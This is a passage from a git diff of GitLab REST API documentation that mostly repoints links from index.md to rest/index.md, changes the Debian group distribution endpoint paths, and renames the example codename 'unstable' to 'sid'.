project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of a snippet | | `note_id` | integer | yes | The ID of a snippet note | | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | @@ -315,7 +315,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `snippet_id` | integer | yes | The ID of a snippet | | `note_id` | integer | yes | The ID of a note | @@ -336,7 +336,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/notes?sort=asc&order_by=upda | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | `merge_request_iid` | integer | yes | The IID of a project merge request | `sort` | string | no | Return merge request notes sorted in `asc` or `desc` order. Default is `desc` | `order_by` | string | no | Return merge request notes ordered by `created_at` or `updated_at` fields. Default is `created_at` @@ -357,7 +357,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------|----------------|----------|---------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a project merge request | | `note_id` | integer | yes | The ID of a merge request note | @@ -403,7 +403,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a project merge request | | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | | `created_at` | string | no | Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) | @@ -421,7 +421,7 @@ Parameters: | Attribute | Type | Required | Description | |---------------------|-------------------|----------|----------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a project merge request | | `note_id` | integer | no | The ID of a note | | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | @@ -443,7 +443,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `note_id` | integer | yes | The ID of a note | @@ -469,7 +469,7 @@ GET /groups/:id/epics/:epic_id/notes?sort=asc&order_by=updated_at | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of a group epic | | `sort` | string | no | Return epic notes sorted in `asc` or `desc` order. Default is `desc` | | `order_by` | string | no | Return epic notes ordered by `created_at` or `updated_at` fields. Default is `created_at` | @@ -490,7 +490,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `note_id` | integer | yes | The ID of a note | @@ -534,7 +534,7 @@ Parameters: | --------- | -------------- | -------- | ----------- | | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | | `epic_id` | integer | yes | The ID of an epic | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `confidential` | boolean | no | **Deprecated:** will be removed in GitLab 16.0 and is renamed to `internal`. The confidential flag of a note. Default is `false`. | | `internal` | boolean | no | The internal flag of a note. Overrides `confidential` when both parameters are submitted. Default is `false`. | @@ -554,7 +554,7 @@ Parameters: | Attribute | Type | Required | Description | | ---------------| ----------------- | -------- | ---------------------------------------------------------------------------------------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `note_id` | integer | yes | The ID of a note | | `body` | string | yes | The content of a note. Limited to 1,000,000 characters. | @@ -576,7 +576,7 @@ Parameters: | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ----------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `note_id` | integer | yes | The ID of a note | diff --git a/doc/api/notification_settings.md b/doc/api/notification_settings.md index d3e4a058b11..aa8e47d6141 100644 --- a/doc/api/notification_settings.md +++ b/doc/api/notification_settings.md @@ -121,7 +121,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](rest/index.md#namespaced-path-encoding). | Example response: @@ -147,7 +147,7 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](index.md#namespaced-path-encoding) | +| `id` | integer or string | yes | The ID, or [URL-encoded path, of the group or project](rest/index.md#namespaced-path-encoding) | | `level` | string | no | The global notification level | | `new_note` | boolean | no | Enable/disable this notification | | `new_issue` | boolean | no | Enable/disable this notification | diff --git a/doc/api/packages.md b/doc/api/packages.md index 6c5cf6bee1e..32b21ce354d 100644 --- a/doc/api/packages.md +++ b/doc/api/packages.md @@ -25,7 +25,7 @@ GET /projects/:id/packages | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `order_by`| string | no | The field to use as order. One of `created_at` (default), `name`, `version`, or `type`. | | `sort` | string | no | The direction of the order, either `asc` (default) for ascending order or `desc` for descending order. | | `package_type` | string | no | Filter the returned packages by type. One of `conan`, `maven`, `npm`, `pypi`, `composer`, `nuget`, `helm`, `terraform_module`, or `golang`. (_Introduced in GitLab 12.9_) @@ -71,7 +71,7 @@ Example response: ] ``` -By default, the `GET` request returns 20 results, because the API is [paginated](index.md#pagination). +By default, the `GET` request returns 20 results, because the API is [paginated](rest/index.md#pagination). Although you can filter packages by status, working with packages that have a `processing` status can result in malformed data or broken packages. @@ -91,7 +91,7 @@ GET /groups/:id/packages | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | ID or [URL-encoded path of the group](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding). | | `exclude_subgroups` | boolean | false | If the parameter is included as true, packages from projects from subgroups are not listed. Default is `false`. | | `order_by`| string | no | The field to use as order. One of `created_at` (default), `name`, `version`, `type`, or `project_path`. | | `sort` | string | no | The direction of the order, either `asc` (default) for ascending order or `desc` for descending order. | @@ -168,7 +168,7 @@ Example response: ] ``` -By default, the `GET` request returns 20 results, because the API is [paginated](index.md#pagination). +By default, the `GET` request returns 20 results, because the API is [paginated](rest/index.md#pagination). The `_links` object contains the following properties: @@ -188,7 +188,7 @@ GET /projects/:id/packages/:package_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `package_id` | integer | yes | ID of a package. | ```shell @@ -269,7 +269,7 @@ GET /projects/:id/packages/:package_id/package_files | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `package_id` | integer | yes | ID of a package. | ```shell @@ -328,7 +328,7 @@ Example response: ] ``` -By default, the `GET` request returns 20 results, because the API is [paginated](index.md#pagination). +By default, the `GET` request returns 20 results, because the API is [paginated](rest/index.md#pagination). ## Delete a project package @@ -340,7 +340,7 @@ DELETE /projects/:id/packages/:package_id | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `package_id` | integer | yes | ID of a package. | ```shell @@ -368,7 +368,7 @@ DELETE /projects/:id/packages/:package_id/package_files/:package_file_id | Attribute | Type | Required | Description | | ----------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `package_id` | integer | yes | ID of a package. | | `package_file_id` | integer | yes | ID of a package file. | diff --git a/doc/api/packages/debian.md b/doc/api/packages/debian.md index bfed66a6579..87b583de5e6 100644 --- a/doc/api/packages/debian.md +++ b/doc/api/packages/debian.md @@ -22,10 +22,6 @@ For instructions on how to upload and install Debian packages from the GitLab package registry, see the [Debian registry documentation](../../user/packages/debian_repository/index.md). NOTE: -The Debian registry is not FIPS compliant and is disabled when [FIPS mode](../../development/fips_compliance.md) is enabled. -These endpoints will all return `404 Not Found`. - -NOTE: These endpoints do not adhere to the standard API authentication methods. See the [Debian registry documentation](../../user/packages/debian_repository/index.md) for details on which headers and token types are supported. @@ -44,6 +40,10 @@ The Debian group API is behind a feature flag that is disabled by default. can opt to enable it. To enable it, follow the instructions in [Enable the Debian group API](../../user/packages/debian_repository/index.md#enable-the-debian-group-api). +### Authenticate to the Debian Package Repositories + +See [Authenticate to the Debian Package Repositories](../../user/packages/debian_repository/index.md#authenticate-to-the-debian-package-repositories). + ## Upload a package file > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/62028) in GitLab 14.0. diff --git a/doc/api/packages/debian_group_distributions.md b/doc/api/packages/debian_group_distributions.md index 95f3bae2c1d..23bc85bf0a0 100644 --- a/doc/api/packages/debian_group_distributions.md +++ b/doc/api/packages/debian_group_distributions.md @@ -18,10 +18,6 @@ This API is under development and is not meant for production use. For more information about working with Debian packages, see the [Debian package registry documentation](../../user/packages/debian_repository/index.md). -NOTE: -The Debian registry is not FIPS compliant and is disabled when [FIPS mode](../../development/fips_compliance.md) is enabled. -These endpoints will all return `404 Not Found`. - ## Enable the Debian group API Debian group repository support is still a work in progress. It's gated behind a feature flag that's @@ -30,17 +26,21 @@ Debian group repository support is still a work in progress. It's gated behind a can opt to enable it. To enable it, follow the instructions in [Enable the Debian group API](../../user/packages/debian_repository/index.md#enable-the-debian-group-api). +## Authenticate to the Debian distributions APIs + +See [Authenticate to the Debian distributions APIs](../../user/packages/debian_repository/index.md#authenticate-to-the-debian-distributions-apis). + ## List all Debian distributions in a group Lists Debian distributions in the given group. ```plaintext -GET /groups/:id/debian_distributions +GET /groups/:id/-/debian_distributions ``` | Attribute | Type | Required | Description | | ---------- | --------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../rest/index.md#namespaced-path-encoding). | | `codename` | string | no | Filter with specific `codename`. | | `suite` | string | no | Filter with specific `suite`. | @@ -54,7 +54,7 @@ Example response: [ { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": null, "origin": null, "label": null, @@ -77,12 +77,12 @@ Example response: Gets a single Debian group distribution. ```plaintext -GET /groups/:id/debian_distributions/:codename +GET /groups/:id/-/debian_distributions/:codename ``` | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | integer | yes | The `codename` of a distribution. | ```shell @@ -94,7 +94,7 @@ Example response: ```json { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": null, "origin": null, "label": null, @@ -116,12 +116,12 @@ Example response: Gets a single Debian group distribution key. ```plaintext -GET /groups/:id/debian_distributions/:codename/key.asc +GET /groups/:id/-/debian_distributions/:codename/key.asc ``` | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | integer | yes | The `codename` of a distribution. | ```shell @@ -153,12 +153,12 @@ DAAKCRDyMVUMT0fjjlnQAQDFHUs6TIcxrNTtEZFjUFm1M0PJ1Dng/cDW4xN80fsn Creates a Debian group distribution. ```plaintext -POST /groups/:id/debian_distributions +POST /groups/:id/-/debian_distributions ``` | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | string | yes | The codename of a Debian distribution. | | `suite` | string | no | The suite of the new Debian distribution. | | `origin` | string | no | The origin of the new Debian distribution. | @@ -170,7 +170,7 @@ POST /groups/:id/debian_distributions | `architectures` | architectures | no | The new Debian distribution's list of architectures. | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/debian_distributions?codename=unstable" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/5/debian_distributions?codename=sid" ``` Example response: @@ -178,7 +178,7 @@ Example response: ```json { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": null, "origin": null, "label": null, @@ -200,12 +200,12 @@ Example response: Updates a Debian group distribution. ```plaintext -PUT /groups/:id/debian_distributions/:codename +PUT /groups/:id/-/debian_distributions/:codename ``` | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | string | yes | The Debian distribution's new codename. | | `suite` | string | no | The Debian distribution's new suite. | | `origin` | string | no | The Debian distribution's new origin. | @@ -225,7 +225,7 @@ Example response: ```json { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": "new-suite", "origin": null, "label": null, @@ -247,12 +247,12 @@ Example response: Deletes a Debian group distribution. ```plaintext -DELETE /groups/:id/debian_distributions/:codename +DELETE /groups/:id/-/debian_distributions/:codename ``` | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | integer | yes | The codename of the Debian distribution. | ```shell diff --git a/doc/api/packages/debian_project_distributions.md b/doc/api/packages/debian_project_distributions.md index 573f1bffd1a..0a43546e2e1 100644 --- a/doc/api/packages/debian_project_distributions.md +++ b/doc/api/packages/debian_project_distributions.md @@ -18,10 +18,6 @@ This API is under development and is not meant for production use. For more information about working with Debian packages, see the [Debian package registry documentation](../../user/packages/debian_repository/index.md). -NOTE: -The Debian registry is not FIPS compliant and is disabled when [FIPS mode](../../development/fips_compliance.md) is enabled. -These endpoints will all return `404 Not Found`. - ## Enable the Debian API The Debian API is behind a feature flag that is disabled by default. @@ -29,6 +25,10 @@ The Debian API is behind a feature flag that is disabled by default. can opt to enable it. To enable it, follow the instructions in [Enable the Debian API](../../user/packages/debian_repository/index.md#enable-the-debian-api). +## Authenticate to the Debian distributions APIs + +See [Authenticate to the Debian distributions APIs](../../user/packages/debian_repository/index.md#authenticate-to-the-debian-distributions-apis). + ## List all Debian distributions in a project Lists Debian distributions in the given project. @@ -39,7 +39,7 @@ GET /projects/:id/debian_distributions | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `codename` | string | no | Filter with a specific `codename`. | | `suite` | string | no | Filter with a specific `suite`. | @@ -53,7 +53,7 @@ Example response: [ { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": null, "origin": null, "label": null, @@ -81,7 +81,7 @@ GET /projects/:id/debian_distributions/:codename | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | integer | yes | The `codename` of a distribution. | ```shell @@ -93,7 +93,7 @@ Example response: ```json { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": null, "origin": null, "label": null, @@ -120,7 +120,7 @@ GET /projects/:id/debian_distributions/:codename/key.asc | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | integer | yes | The `codename` of a distribution. | ```shell @@ -157,7 +157,7 @@ POST /projects/:id/debian_distributions | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | string | yes | The Debian distribution's codename. | | `suite` | string | no | The new Debian distribution's suite. | | `origin` | string | no | The new Debian distribution's origin. | @@ -169,7 +169,7 @@ POST /projects/:id/debian_distributions | `architectures` | architectures | no | The new Debian distribution's list of architectures. | ```shell -curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/debian_distributions?codename=unstable" +curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/debian_distributions?codename=sid" ``` Example response: @@ -177,7 +177,7 @@ Example response: ```json { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": null, "origin": null, "label": null, @@ -204,7 +204,7 @@ PUT /projects/:id/debian_distributions/:codename | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | string | yes | The Debian distribution's codename. | | `suite` | string | no | The Debian distribution's new suite. | | `origin` | string | no | The Debian distribution's new origin. | @@ -224,7 +224,7 @@ Example response: ```json { "id": 1, - "codename": "unstable", + "codename": "sid", "suite": "new-suite", "origin": null, "label": null, @@ -251,7 +251,7 @@ DELETE /projects/:id/debian_distributions/:codename | Attribute | Type | Required | Description | | ---------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `codename` | integer | yes | The Debian distribution's codename. | ```shell diff --git a/doc/api/pages.md b/doc/api/pages.md index 1855eaf153f..dbe7416b939 100644 --- a/doc/api/pages.md +++ b/doc/api/pages.md @@ -20,7 +20,7 @@ DELETE /projects/:id/pages | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --request 'DELETE' --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/2/pages" diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md index 511098fa380..815cea7cc63 100644 --- a/doc/api/pages_domains.md +++ b/doc/api/pages_domains.md @@ -47,7 +47,7 @@ GET /projects/:id/pages/domains | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/pages/domains" @@ -83,7 +83,7 @@ GET /projects/:id/pages/domains/:domain | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `domain` | string | yes | The custom domain indicated by the user | ```shell @@ -125,7 +125,7 @@ POST /projects/:id/pages/domains | Attribute | Type | Required | Description | | -------------------| -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `domain` | string | yes | The custom domain indicated by the user | | `auto_ssl_enabled` | boolean | no | Enables [automatic generation](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md) of SSL certificates issued by Let's Encrypt for custom domains. | | `certificate` | file/string | no | The certificate in PEM format with intermediates following in most specific to least specific order.| @@ -178,7 +178,7 @@ PUT /projects/:id/pages/domains/:domain | Attribute | Type | Required | Description | | ------------------ | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `domain` | string | yes | The custom domain indicated by the user | | `auto_ssl_enabled` | boolean | no | Enables [automatic generation](../user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md) of SSL certificates issued by Let's Encrypt for custom domains. | | `certificate` | file/string | no | The certificate in PEM format with intermediates following in most specific to least specific order.| @@ -256,7 +256,7 @@ DELETE /projects/:id/pages/domains/:domain | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `domain` | string | yes | The custom domain indicated by the user | ```shell diff --git a/doc/api/pipeline_schedules.md b/doc/api/pipeline_schedules.md index edab87f3478..5dc0dead683 100644 --- a/doc/api/pipeline_schedules.md +++ b/doc/api/pipeline_schedules.md @@ -18,7 +18,7 @@ GET /projects/:id/pipeline_schedules | Attribute | Type | required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `scope` | string | no | The scope of pipeline schedules, one of: `active`, `inactive` | ```shell @@ -59,7 +59,7 @@ GET /projects/:id/pipeline_schedules/:pipeline_schedule_id | Attribute | Type | required | Description | |--------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | ```shell @@ -115,7 +115,7 @@ Supported attributes: | Attribute | Type | Required | Description | |------------------------|----------------|----------|-------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID. | Example request: @@ -165,7 +165,7 @@ POST /projects/:id/pipeline_schedules | Attribute | Type | required | Description | |-----------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `description` | string | yes | The description of the pipeline schedule. | | `ref` | string | yes | The branch or tag name that is triggered. | | `cron` | string | yes | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. | @@ -211,7 +211,7 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id | Attribute | Type | required | Description | |------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID. | | `description` | string | no | The description of the pipeline schedule. | | `ref` | string | no | The branch or tag name that is triggered. | @@ -262,7 +262,7 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/take_ownership | Attribute | Type | required | Description | |---------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | ```shell @@ -307,7 +307,7 @@ DELETE /projects/:id/pipeline_schedules/:pipeline_schedule_id | Attribute | Type | required | Description | |----------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | ```shell @@ -355,7 +355,7 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/play | Attribute | Type | required | Description | | ---------------- | --------- | ---------- | -------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | Example request: @@ -384,7 +384,7 @@ POST /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables | Attribute | Type | required | Description | |------------------------|----------------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | | `key` | string | yes | The `key` of a variable; must have no more than 255 characters; only `A-Z`, `a-z`, `0-9`, and `_` are allowed | | `value` | string | yes | The `value` of a variable | @@ -413,7 +413,7 @@ PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id/variables/:key | Attribute | Type | required | Description | |------------------------|----------------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | | `key` | string | yes | The `key` of a variable | | `value` | string | yes | The `value` of a variable | @@ -443,7 +443,7 @@ DELETE 